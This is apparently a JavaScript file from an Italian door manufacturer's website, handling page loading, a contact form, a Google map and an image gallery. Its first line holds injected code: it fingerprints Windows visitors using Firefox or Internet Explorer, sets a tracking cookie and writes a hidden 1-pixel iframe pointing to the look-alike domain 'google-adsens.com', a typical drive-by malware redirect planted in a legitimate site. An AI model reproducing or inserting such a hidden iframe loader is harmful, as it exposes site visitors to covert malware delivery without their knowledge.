var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
var artemide = false;
var olimpo = false;
var slider_specifiche;
var changeImg_gallery = false;
var obj_show;
var obj_next;
var totalHeight;
var slider;
var count;
var homepage = false;

function unixTime() {
	var foo = new Date; // Generic JS date object
	var unixtime_ms = foo.getTime(); // Returns milliseconds since the epoch
	// var unixtime = parseInt(unixtime_ms / 1000);
	var unixtime = parseInt(unixtime_ms);
	return (unixtime);
}
/** ************************CATALOGHI************************************* */
function openPageCataloghi() {
	deleteClassOpen();
	closeSubmenus();

	homepage = false;
	// abilita link home
	$('.voce').removeClass('selected');
	$('.lk_collezione').removeClass('selected');
	$('.voce.cataloghi').addClass('selected');

	$.get('cataloghi.php', function(data) {
		zoom_image = false;
		$("#contIntDx").html(data);

		if (old_height_page > 0) {
			$('#main-header').css('height', old_height_page);
			$('.submenu_header_menu').css('height', old_height_page);
			$('.submenu_header2_menu').css('height', old_height_page);
		}
		
			var h = Math.max($(window).height(), $('#main_body').height());
			var _h = (h <= 750) ? 750 : h;
			
			resizeImgBackground();
	});
}
/** *********************CONTATTI************************************** */
function openPageContact() {

	var h = Math.max($(window).height(), $('#main_body').height());
	var w = Math.max($(window).width(), $('#main_body').width());
	h_header = (h <= 750) ? 750 : h;
	$('#main-header').css('height', h_header);
	$('.submenu_header_menu').css('height', h_header);
	$('.submenu_header2_menu').css('height', h_header);

	deleteClassOpen();
	closeSubmenus();

	homepage = false;
	// abilita link home
	$('.lk_collezione').removeClass('selected');
	$('.voce').removeClass('selected');
	$('.voce.contatti').addClass('selected');

	var lang = $('#main_body').attr('lang');


	$.get('contatti.php',{
		  	lang : lang
		  
		 } , function(data) {
		
		zoom_image = false;
		$("#contIntDx").html(data);
		$('.cont-contact').attr('lang',lang);

		var h = Math.max($(window).height(), $('#main_body').height());
		var w = Math.max($(window).width(), $('#main_body').width());

		h_header = (h <= 750) ? 750 : h;
		$('#map_canvas').css('height', h_header);
		if ($.browser.msie && $.browser.version == '7.0') {
			$('#indirizzo').css('height', h_header - 20);
		} else {
			$('#indirizzo').css('height', h_header);
		}
		loadScript();
		if (old_height_page > 0) {
			$('#main-header').css('height', old_height_page);
			$('.submenu_header_menu').css('height', old_height_page);
			$('.submenu_header2_menu').css('height', old_height_page);
		}
		$('select').replaceSelects();
		
		
	});
}

function attivaFormContact() {
	// var el8 = document.getElementById("txt_space_info");
	var lang = $('.cont-contact').attr('lang');
	$.post("funz/contact.php", {
		act : "contact",
		
		nome : $("#nome").val(),
		cognome : $('#cognome').val(),
		provincia : $('#provincia').find('option:selected').html(),
		provincia_value : $('#provincia').attr('value'),
		email : $("#email").val(),
		telefono : $("#tel").val(),
		messaggio : $("#messaggio").val(),
		destinatario : $('#destinatario').attr('value'),
		nome_dest : $('#destinatario').find('option:selected').html(),
		privacy : (($('#privacy').attr('status') == 1) ? 1 : 0),
		mailing : (($('#mailing').attr('status') == 1) ? 1 : 0),
		time : unixTime()
	}, function(data) {
		if (data == "ok") {
			$('#alert').html('Email inviata');
			$('#btn_invia_contact').remove();
		}if (data == "ko") {
			switch(lang) { 
				case 'en':
					$('#alert').html('Error! Try again later!');					
				break;
				default: 
					$('#alert').html('Errore!Riprovare pi&uacute; tardi!');
				break;
			}
		}else {
			switch(lang) { 
			  case 'en': 
				if (data == "nome_missing") {	$("#nome").focus();	$('#alert').html('Insert your name'); return (false);}
				if (data == "cognome_missing") { $("#cognome").focus();	$('#alert').html('Insert your surname'); return (false);}
				if (data == "provincia_missing") {$("#provincia").focus(); 	$('#alert').html('Insert your Province'); return (false);}
				if (data == "email_missing") {	$("#email").focus(); $('#alert').html('Insert email'); return (false);	}
				if (data == "email_wrong") { $("#email").focus(); $('#alert').html('Insert a valid email');	return (false);	}
				
				//if (data == "messaggio_missing") { $("#messaggio").focus();	$('#alert').html('Insert a messagege');	return (false);	}
				//if (data == "destinatario_missing") {$('#alert').html('Select receiver');	return (false);	}
				if (data == "privacy_missing") {$('#alert').html('Accept the privacy');	return (false);	}
				//if (data == "mailing_missing") {$('#alert').html('Selezionare la mailing');	return (false);	}
			  break; 			
			  default: 
				if (data == "nome_missing") {	$("#nome").focus();	$('#alert').html('Il campo Nome e obbligatorio'); return (false);}
				if (data == "cognome_missing") { $("#cognome").focus();	$('#alert').html('Il campo Cognome e obbligatorio'); return (false);}
				if (data == "provincia_missing") {$("#provincia").focus(); 	$('#alert').html('Inserire la provincia di residenza'); return (false);}
				if (data == "email_missing") {	$("#email").focus(); $('#alert').html('Il campo email e obbligatorio'); return (false);	}
				if (data == "email_wrong") { $("#email").focus(); $('#alert').html('Inserire un email valida');	return (false);	}
				//if (data == "tel_missing") {$("#tel").focus(); 	$('#alert').html('Il campo Telefono e obbligatorio'); return (false);}
				//if (data == "messaggio_missing") { $("#messaggio").focus();	$('#alert').html('Inserire un messaggio');	return (false);	}
				//if (data == "destinatario_missing") {$('#alert').html('Inserire un destinatario');	return (false);	}
				if (data == "privacy_missing") {$('#alert').html('Accettare la privacy');	return (false);	}
				//if (data == "mailing_missing") {$('#alert').html('Selezionare la mailing');	return (false);	}
			}
		}
	});
	return (false);
}

function activateCheckbox(obj) {
	var parent = $(obj).parent();
	var child_input = $(parent).children('.input-checkbox');
	var val_input = $(child_input).attr('status');
	var newval = ((val_input == '0') ? 1 : 0);
	$(child_input).attr('status', newval);
	if (newval == 1) {
		$(obj).addClass('selected');
	} else {
		$(obj).removeClass('selected');
	}
}

function initializeMap() {
	// 45.869184,12.628376
	var latlng = new google.maps.LatLng(45.86987,12.63625);
	var myOptions = {
		zoom : 15,
		center : latlng,
		mapTypeId : google.maps.MapTypeId.ROADMAP
	};

	var map = new google.maps.Map(document.getElementById("map_canvas"),
			myOptions);
	
	var latlng2 = new google.maps.LatLng(45.869104, 12.62876);
	var marker = new google.maps.Marker({
		position : latlng2,
		map : map,
		title : "Via Segaluzza, 30/E<br/>33170 Pordenone"
	});

	

	var coordInfoWindow = new google.maps.InfoWindow();
	coordInfoWindow
			.setContent("<div id='window-map-content'>VIA SEGALUZZA, 30/E<br/>33170, PORDENONE<br/>TEL +39 0434 628739<br/>FAX +39 0434 604614</div>");
	coordInfoWindow.setPosition(latlng2);
	coordInfoWindow.open(map);

}

function loadScript() {
	var script = document.createElement("script");
	script.type = "text/javascript";
	script.src = "http://maps.googleapis.com/maps/api/js?sensor=false&callback=initializeMap";
	document.body.appendChild(script);
}
/** ***************************************HOMEPAGE******************************************************** */
function showHomePage() {
	$.address.value('home');

	homepage = true;
	// abilita link home
	$('.voce').removeClass('selected');
	$('.voce.home').addClass('selected');

	var h = Math.max($(window).height(), $('#main_body').height());
	var w = Math.max($(window).width(), $('#main_body').width());
	h_header = (h <= 750) ? 750 : h;
	$('#main-header').css('height', h_header);
	$('.submenu_header_menu').css('height', h_header);
	$('.submenu_header2_menu').css('height', h_header);

	if ($('.slideshow_home')) {
		deleteClassOpen();
		closeSubmenus();

		var params = {};
		params.time = unixTime();

		$.get('slideshowHomePage.php', params, function(data) {
			zoom_image = true;
			$("#contIntDx").html(data);
			// $('#btn_prev').css('display','none');
			// $('#btn_next').css('display','none');

			count = 0;
			var nro_immagini = $('#gallery').children('.imgGallery').length;
			if (nro_immagini > 1) {
				attivaGallery();
			}
			$('#btn_prev').css('display', 'block');
			$('#btn_next').css('display', 'block');
			$('#gallery').mouseover(function() {
				$('#btn_prev').css('display', 'block');
				$('#btn_next').css('display', 'block');
			});
			$('.lk_collezione').removeClass('selected');
		});
	}
}

/** ************ PAGINA COLLEZIONI**************** */
function openPageCollezioni() {
	$('a:not([class=link])').address();

	closeSubmenus();
	var h = Math.max($(window).height(), $('#main_body').height());
	var w = Math.max($(window).width(), $('#main_body').width());

	h_header = (h <= 750) ? 750 : h;
	$('#main-header').css('height', h_header);
	$('.submenu_header_menu').css('height', h_header);
	$('.submenu_header2_menu').css('height', h_header);

	$('.voce').removeClass('selected');
	$('.voce.voce_collezioni').addClass('selected');

	// cambia colore barra
	$('.submenu_header_menu').css('background', '#464646');
	$('.submenu_header2_menu').css('background', '#4f4f4f');

	var arr_menu2 = $('.submenu_header2_menu');
	for (y = 0; y < arr_menu2.length; y++) {
		if ($(arr_menu2[y]).attr('status') == 'open') {
			$(arr_menu2[y]).attr('status', 'close');
			$(arr_menu2[y]).animate({
				left : '-=150'
			}, "slow");
		}
	}

	var arr_menu = $('.submenu_header_menu');

	for (i = 0; i < arr_menu.length; i++) {
		if ($(arr_menu[i]).attr('status') == 'open') {
			$(arr_menu[i]).attr('status', 'close');
			$(arr_menu[i]).animate({
				left : '-=75'
			}, "slow", function() {
			});
		}
	}

	$('.lk_collezione').removeClass('selected');

	var params = {};
	params.time = unixTime();

	// visualizza pagina collezioni
	$.get('collezioni.php', params, function(data) {
		zoom_image = true;
		$("#contIntDx").html(data);

		attivaCufon('');
		if (old_height_page > 0) {
			$('#main-header').css('height', old_height_page);
			$('.submenu_header_menu').css('height', old_height_page);
			$('.submenu_header2_menu').css('height', old_height_page);
		}
		
		
		var h = Math.max($(window).height(), $('#main_body').height());
		var _h = (h <= 750) ? 750 : h;
		
		resizeImgBackground();
	});

}


/**************PAGINA COLLEZIONI*****************/
function openCollezione(obj, ol, page_st) {

	$('.submenu_header_menu').css('background',	'url(img/sf_bar_header2.png) top left repeat-y');
	$('.submenu_header2_menu').css('background','url(img/sf_bar_header3.png) top left repeat-y');

	deleteClassOpen();
	$('#submenu_header').addClass('open');
	closeSubmenus();
	// gestione header
	if ($('#submenu_header').attr('status') == 'close') {

		$("#submenu_header").animate({
			left : '+=75'
		}, "slow", function() {
		});
		$('#submenu_header').attr('status', 'open');

	}
	if (ol) {
		olimpo = true;
	} else {
		olimpo = false;
	}

	$('.voce').removeClass('selected');
	$('.lk_dett_collezione').removeClass('selected');
	$('.lk_collezione').removeClass('selected');
	$(obj).addClass('selected');

	if (olimpo) {
		var page = "collezione_olimpo.php";
	} else {
		var page = "collezione.php";
	}

	var params = {};
	params.idCat = $(obj).attr("idCat");
	params.idColl = $(obj).attr("idColl");
	params.time = unixTime();

	$.ajax({
		type : 'GET',
		url : "submenu_header.php",
		data : params,
		success : function(response) {
			$('#submenu_header').html(response);
			attivaCufon('');
		},
		error : function(xhr, type, exception) { /* alert("Error: " + type); */
		}
	});

	$.ajax({
		type : 'GET',
		url : "submenu_header2.php",
		data : params,
		success : function(response) {
			$('#submenu_header2').html(response);
			attivaCufon('');
			if (page_st == "st") { $('#car_tecniche').addClass('selected');}
		},
		error : function(xhr, type, exception) { /* alert("Error: " + type); */
		}
	});
	
	if (page_st == "st") {
		openPageCaratteristicheTecniche($(obj).attr("idColl"));
	}else {
		$.ajax({
			type : 'GET',
			url : page,
			data : params,
			success : function(response) {
				zoom_image = true;
				$("#contIntDx").html(response);
				var nome_collezione = $(obj).html();
				// nome_pag=$('#nome_collezione').html(nome_collezione);
				if (old_height_page > 0) {
					$('#main-header').css('height', old_height_page);
					$('.submenu_header_menu').css('height', old_height_page);
					$('.submenu_header2_menu').css('height', old_height_page);
				}

				var h = Math.max($(window).height(), $('#main_body').height());
				var _h = (h <= 750) ? 750 : h;
				
				resizeImgBackground();
				
				attivaCufon('');
			},
			error : function(xhr, type, exception) { /*
														 * alert("Error: " +
														 * type);
														 */
			}
		});
	}

}

function zoomInCollezione(obj) {
	var th = $(obj).find('.thumb');
	var th_zoom = $(obj).find('.zoom');
	// console.log(th);
	$(th).css('display', 'none');
	$(th_zoom).css('display', 'block');

	$(obj).css('z-index', '100');
	$(obj).parent().css('z-index', '100');
}

function zoomOutCollezione() {
	$('.zoom').css('display', 'none');
	$('.thumb').css('display', 'block');

	$('.row_coll a').css('z-index', '0');
	$('.category-porte').css('z-index', '0');
}

/**
 * *****************************PAGINA
 * COLLEZIONE*************************************
 */
var gallery_porta = false;
function openPageGallery(obj) {
	// cambia barra
	deleteClassOpen();
	$('#submenu_header2').addClass('open');
	$('#submenu_header').addClass('open');
	closeSubmenus();

	$('.submenu_header_menu').css('background', '#464646');
	$('.submenu_header2_menu').css('background', '#4f4f4f');

	if ($('#submenu_header2').attr('status') == 'close') {
		$('#submenu_header2').attr('status', 'open');
		$("#submenu_header2").animate({
			left : '+=150'
		}, "slow", function() {
		});
	}

	if ($('#submenu_header').attr('status') == 'close') {
		$('#submenu_header').attr('status', 'open');
		$("#submenu_header").animate({
			left : '+=75'
		}, "slow", function() {
		});
	}

	if (obj) {
		if (obj == "#sub1") {
			artemide = true;
		} else {
			artemide = false;
		}
		$('.lk_dett_collezione').removeClass('selected');
		$(obj).addClass('selected');
	}

	$('.submenu_header2_menu .submenu-collezioni a').removeClass('selected');
	$('.submenu-collezioni .gallery').addClass('selected');

	// prov artemide
	if (artemide && olimpo) {
		var page = "gallery_artemide.php";
	} else {
		var page = "gallery.php";
	}

	var params = {};
	params.idArt = $(obj).attr("idArt");
	params.idCat = $(obj).attr("idCat");
	params.idColl = $(obj).attr("idColl");
	params.coll = $(obj).attr("coll");

	params.time = unixTime();
	// alert(params.idArt);

	$.ajax({
		type : 'GET',
		url : "submenu_header2.php",
		data : params,
		success : function(response) {
			$('#submenu_header2').html(response);
			attivaCufon('');
			$(".gallery").addClass("selected");
		},
		error : function(xhr, type, exception) {
		}
	});
	/*
	 * var params={}; params.idCat=$(obj).attr("idCat");
	 * params.idColl=$(obj).attr("idColl"); $.ajax({ type: 'GET', url:
	 * "submenu_header.php", data: params, success: function(response) {
	 * $('#submenu_header').html(response); attivaCufon(''); }, error:
	 * function(xhr, type, exception) { } });
	 */
	homepage = false;
	gallery_porta = true;
	// prov artemide
	$.get(page, params, function(data) {
		zoom_image = true;
		$("#contIntDx").html(data);
		attivaCufon('');
		count = 0;
		var nro_immagini = $('#gallery').children('.imgGallery').length;

		homepage = false;
		attivaGallery();
		$('#btn_prev').css('display', 'none');
		$('#btn_next').css('display', 'none');
		$('#gallery').unbind('mouseover');
		$('#gallery').bind('mouseover',function(){
			$('#btn_prev').css('display', 'block');
			$('#btn_next').css('display', 'block');
		});
		$('#gallery').unbind('mouseout');
		$('#gallery').bind('mouseout',function(){
			$('#btn_prev').css('display', 'none');
			$('#btn_next').css('display', 'none');
		});

	});
	return (false);
}

function gotoLinkEsterno() {
	window.open('');
}

/**
 * **************************************FUNZIONI PER GESTIONE HOME E GALLERY
 * IMMAGINI***********************************************************
 */
function attivaGallery() {
	changeImg_gallery = false;
	resizeImgGallery();
	var nro_immagini = $('#gallery').children('.imgGallery').length;
	if (nro_immagini > 1) {
		clearInterval(slider);
		slider = null;
		if(homepage == true){			
			slider = window.setInterval(slideshow, 3000);
		}else{
			slider = window.setInterval(slideshow, 3000);
		}
	} else {
		clearInterval(slider);
		slider = null;
	}

	$('#btn_prev').click(function() {
		if (changeImg_gallery == false) {
			if (slider) {
				slider = clearInterval(slider);
				slider = null;
			}
			count -= 1;
			count = ((count < 1) ? nro_immagini : count);
			visualizzaImmagineGallery(count);
		}
	});

	$('#btn_next').click(function() {
		if (changeImg_gallery == false) {
			if (slider) {
				slider = clearInterval(slider);
				slider = null;
			}
			count = parseInt(count) + 1;
			var nro_immagini = $('#gallery').children('.imgGallery').length;
			count = ((count > nro_immagini) ? 1 : count);
			visualizzaImmagineGallery(count);
		}
	});

	$('.menu_gallery_prod .cont-nro .nro_img').click(function() {
		var el = $(this).html();
		if (slider) {
			slider = clearInterval(slider);
			slider = null;
		}
		count = el;
		visualizzaImmagineGallery(el);
	});

}

function resizeImgGallery() {
	resetWH100("#cont-gallery");
	if ($(obj_show)) {
		resetW100Hauto($(obj_show));
	}

	var arr;
	if (self.innerWidth != undefined)
		arr = [ self.innerWidth, self.innerHeight ];
	else {
		var D = document.documentElement;
		if (D)
			arr = [ D.clientWidth, D.clientHeight ];
	}
	var h = parseInt(arr[1]);
	var w = parseInt(arr[0]);
	/*
	 * var totalWidth=Math.max($(window).width(),$(document).width());
	 * totalWidth=totalWidth;
	 * totalHeight=Math.max($(window).height(),$(document).height());
	 */
	totalWidth = w;
	totalHeight = (h < 750) ? 750 : h;

	slideshow();
}

function slideshow() {
	count += 1;
	var nro_immagini = $('#gallery').children('.imgGallery').length;
	count = ((count > nro_immagini) ? 1 : count);
	visualizzaImmagineGallery(count);
}

function visualizzaImmagineGallery(obj) {
	resetW100Hauto($("#gallery #" + obj));

	var imgH = parseInt($("#gallery #" + obj).attr('_h'));
	var imgW = parseInt($("#gallery #" + obj).attr('_w'));

	$("#gallery #" + obj).css("width", "auto");
	$("#gallery #" + obj).width("auto");
	$("#gallery #" + obj).css("height", totalHeight + "px");
	$("#gallery #" + obj).height(totalHeight);
	$('#gallery').css("width", "auto");
	$('#gallery').height(totalHeight);

	if (homepage == false) {
		if (imgH >= imgW) {
			$("#gallery #" + obj).css('margin-left', '75px');
			$('.menu_gallery').css('margin-left', '75px');
			// cambia barra
			$('.submenu_header_menu').css('background', '#464646');
			// $('.submenu_header2_menu').css('background','#4f4f4f');
			$('.submenu_header2_menu').css('background',
					'url(img/sf_bar_header3.png) top left repeat-y');
		} else {
			$("#gallery #" + obj).css('margin-left', '0px');
			$('.menu_gallery').css('margin-left', '0px');
			$('.submenu_header_menu').css('background',
					'url(img/sf_bar_header2.png) top left repeat-y');
			$('.submenu_header2_menu').css('background',
					'url(img/sf_bar_header3.png) top left repeat-y');
		}
	}

	obj_next = $("#gallery #" + obj);

	if (obj_show) {
		
		changeImg_gallery = true;
		$('.cont-nro .nro_img').removeClass('selected');
		$('#nro' + count).children('span').addClass('selected');
		/*
		$(obj_show).fadeOut('slow', function() {
			$(obj_next).fadeIn('slow', function() {
				obj_show = $(obj_next);
				changeImg_gallery = false;
				resize();
			});
		});*/
		
		/*$(obj_next).fadeIn(300, function() {
			obj_show = $(obj_next);
			changeImg_gallery = false;
			resize();
		});	*/
		if(homepage == false){
			$('#btn_prev').css('visibility','hidden');
			$('#btn_next').css('visibility','hidden');
		}
		$(obj_next).css('position','absolute');
		$(obj_show).fadeOut(600, function() {});		
		setTimeout(function(){ 
				$(obj_show).stop(); 	
				$(obj_show).css('position','absolute');
				$(obj_next).css('position','relative');
				$(obj_next).fadeIn(500, function() {
					if(homepage == false){
						$('#btn_prev').css('visibility','visible');
						$('#btn_next').css('visibility','visible');
					}
					$(obj_show).fadeOut(0);
					$(obj_show).css('position','relative');
					obj_show = $(obj_next);
					changeImg_gallery = false;
					resize();
				});
		},100);
		/*setTimeout(function(){
			$(obj_next).stop(); 	
		},300);*/

		
		
	} else {
		changeImg_gallery = true;
		$('.cont-nro .nro_img').removeClass('selected');
		$('#nro' + count).children('span').addClass('selected');
		$(obj_next).fadeIn('slow', function() {
			obj_show = $(obj_next);
			changeImg_gallery = false;
			resize();
		});
	}

}

function resetWH100(val_selector) {
	$(val_selector).css("width", "100%");
	$(val_selector).width("100%");
	$(val_selector).css("height", "100%");
	$(val_selector).height("100%");
}

function resetW100Hauto(val_selector) {
	$(val_selector).css("width", "100%");
	$(val_selector).width("100%");
	$(val_selector).css("height", "auto");
	$(val_selector).height("auto");
}

/** ******FUNZIONI PER GESTIONE HEADER******* */
var nome_pag;
var submenu1_open = false;
var submenu2_open = false;

function openMainMenu() {
	// al click di una delle collezioni: Olimpo, Vela,etc...
	$('.lk_collezione').click(function() {
		var voce_hd = $(this);
		// closeSubmenus();
		// $('.voce').removeClass('selected');
		if ($('.submenu_header_menu').attr('status') == 'close') {

			$('.submenu_header_menu').attr('status', 'open');

			$(".submenu_header_menu").animate({
				left : '+=75'
			}, "slow", function() {

				$('.lk_collezione').removeClass('selected');
				$(voce_hd).addClass('selected');
				$('.lk_dett_collezione ').removeClass('selected');
				nome_pag = $(voce_hd).html();
				// prov
				if (nome_pag == "Olimpo") {
					olimpo = true;
				} else {
					olimpo = false;
				}
				// prov
				openCollezione();
			});

		} else if ($('.submenu_header2_menu').attr('status') == "open") {

			$('.submenu_header2_menu').attr('status', 'close');

			$(".submenu_header2_menu").animate({
				left : '-=150'
			}, "slow", function() {

				$('.lk_collezione').removeClass('selected');
				$(voce_hd).addClass('selected');
				$('.lk_dett_collezione ').removeClass('selected');
				// nome pagina
				nome_pag = $(voce_hd).html();
				// prov
				if (nome_pag == "Olimpo") {
					olimpo = true;
				} else {
					olimpo = false;
				}
				// prov
				// apri collezione selezionata
				openCollezione();
			});
		} else {
			$('.lk_collezione').removeClass('selected');
			$(voce_hd).addClass('selected');
			$('.lk_dett_collezione ').removeClass('selected');
			// nome pagina
			nome_pag = $(voce_hd).html();
			// prov
			if (nome_pag == "Olimpo") {
				olimpo = true;
			} else {
				olimpo = false;
			}
			// prov
			// apri collezione selezionata
			openCollezione();
		}

	});

	$('.lk_dett_collezione').click(
			function() {
				var voce_hd = $(this);

				h_header = (h <= 750) ? 750 : h;
				$('#main-header').css('height', h_header);
				$('.submenu_header_menu').css('height', h_header);
				$('.submenu_header2_menu').css('height', h_header);

				// closeSubmenus();

				if ($('.submenu_header2_menu').attr('status') == 'close') {

					$('.submenu_header2_menu').attr('status', 'open');

					$(".submenu_header2_menu").animate(
							{
								left : '+=150'
							},
							"slow",
							function() {
								// $('.submenu-collezioni
								// a').removeClass('selected');
								$('.submenu-collezioni .gallery').addClass(
										'selected');
								$('.lk_dett_collezione')
										.removeClass('selected');
								$(voce_hd).addClass('selected');

								// testo provvisorio Artemide
								var nome_link = $(voce_hd).html();
								if (nome_link == "Artemide") {
									artemide = true;
								} else {
									artemide = false;
								}
								// testo provvisorio Artemide

								// apri gallery
								openPageGallery("#sub"
										+ $(voce_hd).attr('idCat') + "_"
										+ $(voce_hd).attr('idColl') + "_"
										+ $(voce_hd).attr('idArt'));
							});
				} else {
					// $('.submenu-collezioni a').removeClass('selected');
					$('.submenu-collezioni .gallery').addClass('selected');
					$('.lk_dett_collezione').removeClass('selected');
					$(voce_hd).addClass('selected');

					// testo provvisorio Artemide
					var nome_link = $(voce_hd).html();
					if (nome_link == "Artemide") {
						artemide = true;
					} else {
						artemide = false;
					}
					// testo provvisorio Artemide

					// apri gallery
					openPageGallery("#sub" + $(voce_hd).attr('idCat') + "_"
							+ $(voce_hd).attr('idColl') + "_"
							+ $(voce_hd).attr('idArt'));
				}
			});
}

function hoverPorta(obj, el_menu) {
	$(el_menu).addClass('selected');
	$(obj).css('z-index', '2');
	$(obj).children('.imgHover').css('display', 'block');
}
function outPorta(obj, el_menu) {
	$(el_menu).removeClass('selected');
	$(obj).css('z-index', '1');
	$(obj).children('.imgHover').css('display', 'none');
}

function openSchedaSpecifiche() {
	openSchedaPortaCT('', '', '');
	$('.submenu_header2_menu a').removeClass('selected');
	$('.specifiche').addClass('selected');
	attivaCufon('');
	$('#cont-scheda-porta-ct').css('height', totalHeight);

}

// /////////////////FUNZIONI PAGINA
// FINITURE//////////////////////////////////////////

/** *****OPEN SCHEDA DETTAGLIO PORTA************ */
function openSchedaDettPorta(obj) {
	if (slider) {
		clearInterval(slider);
		slider = null;
	}
	// prov artemide
	// inc_scheda_artemide
	if (artemide) {
		var page = 'inc_scheda_artemide.php';
	} else {
		var page = 'inc_scheda.php';
	}
	// prov artemide
	if ($('#submenu_header2').attr('status') == 'close') {
		$('#submenu_header2').attr('status', 'open');
		$("#submenu_header2").animate({
			left : '+=150'
		}, "slow", function() {
		});
	}

	if ($('#submenu_header').attr('status') == 'close') {
		$('#submenu_header').attr('status', 'open');
		$("#submenu_header").animate({
			left : '+=75'
		}, "slow", function() {
		});
	}

	var params = {};
	params.idArt = $(obj).attr("idArt");
	params.idCat = $(obj).attr("idCat");
	params.idColl = $(obj).attr("idColl");
	params.time = unixTime();
	// alert(params.idArt);

	$.get(page, params, function(data) {
		zoom_image = true;
		$("#contIntDx").html(data);
		if ($('#scheda_dett')) {
			$("#scheda_dett").animate({
				right : '-=801'
			}, 0, function() {
				$('#scheda_dett').css('height', totalHeight + 'px');
				$('#scheda_dett_casse').css('height', totalHeight + 'px');

				$('#cont-scheda').css('height', (totalHeight - 72) + 'px');
			});
		}
		if ($('#scheda_dett_cn')) {
			$("#scheda_dett_cn").animate({
				right : '-=801'
			}, 0, function() {
				$('#scheda_dett_cn').css('height', totalHeight + 'px');
				$('#cont-scheda').css('height', (totalHeight - 72) + 'px');
			});
		}
		if ($('#scheda_dett_casse')) {
			$("#scheda_dett_casse").animate({
				right : '-=801'
			}, 0, function() {
				$('#scheda_dett_casse').css('height', totalHeight + 'px');
				$('#cont-scheda').css('height', (totalHeight - 72) + 'px');
			});
		}
		$('.submenu_header2_menu .submenu-collezioni a')
				.removeClass('selected');
		$('.submenu-collezioni a.finiture').addClass('selected');
		attivaCufon('');
		// cambia barra
		$('.submenu_header_menu').css('background', '#464646');
		$('.submenu_header2_menu').css('background', '#4f4f4f');
	});
	return (false);
}

/** ***********APRI SCHEDA DETTAGLIO CRISTALLI************* */
var nro_pag;
function openSchedaDettCristalli(tipoVetro, idColl, idArt, pag) {
	$('.submenu_header_menu').css('background', '#464646');
	$('.submenu_header2_menu').css('background', '#4f4f4f');
	if ($('#scheda_dett')) {
		var page = "scheda_dett_finiture.php";
		var params = {};
		params.tv = tipoVetro;
		params.idArt = idArt;
		params.idColl = idColl;
		params.pag = pag;
		params.time = unixTime();
		$.get(page, params, function(data) {
			$("#scheda_dett").html(data);
			if ($('#scheda_dett').attr('status') == "hide") {
				$("#scheda_dett").animate({
					right : '+=801'
				}, 'slow', function() {
					$('#scheda_dett').attr('status', 'visible');
				});
			}
			// gestisci menu scheda dett
			nro_pag = pag;
			setMenuSchedaDett();
			attivaCufon('');
		});
	}
	return (false);
}

var lg_scheda;
function resizeSchedaDett() {

}
function openSchedaDettCristalliNeutri() {
	$('.submenu_header_menu').css('background', '#464646');
	$('.submenu_header2_menu').css('background', '#4f4f4f');
	if ($('#scheda_dett_cn')) {
		if ($('#scheda_dett_cn').attr('status') == "hide") {

			$("#scheda_dett_cn").animate({
				right : '+=801'
			}, 'slow', function() {
				$('#scheda_dett_cn').attr('status', 'visible');
			});
			// gestisci menu scheda dett
			nro_pag = 1;

			// setMenuSchedaDett();
		}
	}
}

function setMenuSchedaDett() {
	/*
	 * $('.menu_gallery_scheda #btn_prev').click(function(){ nro_pag-=1;
	 * nro_pag=((nro_pag<=0)?1:nro_pag); $('.menu_gallery_scheda .cont-nro
	 * a').removeClass('selected'); $('#scheda_'+nro_pag).addClass('selected');
	 * $('.test_2').css('display','none'); $('.test_1').css('display','block');
	 * if(nro_pag==1){ $('#btn_next').removeClass('deselected');
	 * $('#btn_prev').addClass('deselected'); } }); $('.menu_gallery_scheda
	 * #btn_next').click(function(){ /* nro_pag+=1;
	 * nro_pag=((nro_pag>2)?2:nro_pag); $('.menu_gallery_scheda .cont-nro
	 * a').removeClass('selected'); $('#scheda_'+nro_pag).addClass('selected');
	 * $('.test_2').css('display','block'); $('.test_1').css('display','none');
	 * if(nro_pag==2){ $('#btn_next').addClass('deselected');
	 * $('#btn_prev').removeClass('deselected'); } });
	 */
}
/**
 * ******************CHIUDI SCHEDA DETTAGLIO PAGINA
 * FINITURE******************************
 */
function closeSchedaDett() {
	if ($('#scheda_dett')) {
		if ($('#scheda_dett').attr('status') == "visible") {

			$("#scheda_dett").animate({
				right : '-=801'
			}, 'slow', function() {
				$('#scheda_dett').attr('status', 'hide');
			});
		}
	}
	if ($('#scheda_dett_cn')) {
		if ($('#scheda_dett_cn').attr('status') == "visible") {
			$('#scheda_dett_cn').attr('status', 'hide');
			$("#scheda_dett_cn").animate({
				right : '-=801'
			}, 'slow', function() {
			});
		}
	}

	if ($('#scheda_dett_casse')) {
		if ($('#scheda_dett_casse').attr('status') == "visible") {
			$('#scheda_dett_casse').attr('status', 'hide');
			$("#scheda_dett_casse").animate({
				right : '-=801'
			}, 'slow', function() {
			});
		}
